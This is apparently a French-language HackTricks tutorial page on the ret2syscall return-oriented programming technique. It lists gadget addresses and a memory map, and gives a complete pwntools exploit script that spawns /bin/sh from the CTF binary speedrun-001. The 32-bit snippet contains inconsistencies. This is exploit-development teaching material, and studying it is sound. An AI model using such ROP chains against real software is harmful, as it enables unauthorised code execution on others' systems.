Ret2syscall

Ret2syscall

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

Cela est similaire à Ret2lib, cependant, dans ce cas, nous n'appellerons pas une fonction d'une bibliothèque. Dans ce cas, tout sera préparé pour appeler le syscall sys_execve avec certains arguments pour exécuter /bin/sh.

Pour préparer l'appel du syscall, la configuration suivante est nécessaire :

  • rax: 59 Spécifie sys_execve

  • rdi: ptr vers "/bin/sh" spécifie le fichier à exécuter

  • rsi: 0 spécifie qu'aucun argument n'est passé

  • rdx: 0 spécifie qu'aucune variable d'environnement n'est passée

Donc, fondamentalement, il est nécessaire d'écrire la chaîne /bin/sh quelque part, puis d'effectuer le syscall (en tenant compte du rembourrage nécessaire pour contrôler la pile). Pour cela, nous avons besoin d'un gadget pour écrire /bin/sh dans une zone connue.

Un autre syscall intéressant à appeler est mprotect qui permettrait à un attaquant de modifier les autorisations d'une page en mémoire.

Gadgets de registre

Commençons par trouver comment contrôler ces registres :

ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

Avec ces adresses, il est possible de écrire le contenu dans la pile et de le charger dans les registres.

Écrire une chaîne de caractères

Mémoire inscriptible

Tout d'abord, vous devez trouver un emplacement inscriptible dans la mémoire

gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

Écrire une chaîne en mémoire

Ensuite, vous devez trouver un moyen d'écrire un contenu arbitraire à cette adresse

ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

32 bits

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64 bits

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

Gadgets Insuffisants

Si vous manquez de gadgets, par exemple pour écrire /bin/sh en mémoire, vous pouvez utiliser la technique SROP pour contrôler toutes les valeurs des registres (y compris RIP et les registres des paramètres) à partir de la pile :

pageSROP - Sigreturn-Oriented Programming

```python from pwn import *

target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')

Establish our ROP Gadgets

popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)

0x000000000048d251 : mov qword ptr [rax], rdx ; ret

writeGadget = p64(0x48d251)

Our syscall gadget

syscall = p64(0x40129c)

''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget

''' Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0

syscall '''

rop += popRax rop += p64(0x3b)

rop += popRdi rop += p64(0x6b6000)

rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)

rop += syscall

Add the padding to the saved return address

payload = "0"*0x408 + rop

Send the payload, drop to an interactive shell to use our new shell

target.sendline(payload)

target.interactive()

## Autres exemples et références

* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64 bits, pas de PIE, nx, écrire dans une certaine mémoire un ROP pour appeler `execve` et sauter là-bas.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64 bits, nx, pas de PIE, écrire dans une certaine mémoire un ROP pour appeler `execve` et sauter là-bas. Pour écrire sur la pile une fonction qui effectue des opérations mathématiques est abusée
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, pas de PIE, nx, BF canary, écrire dans une certaine mémoire un ROP pour appeler `execve` et sauter là-bas.

<details>

<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Autres façons de soutenir HackTricks:

* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.

</details>

Dernière mise à jour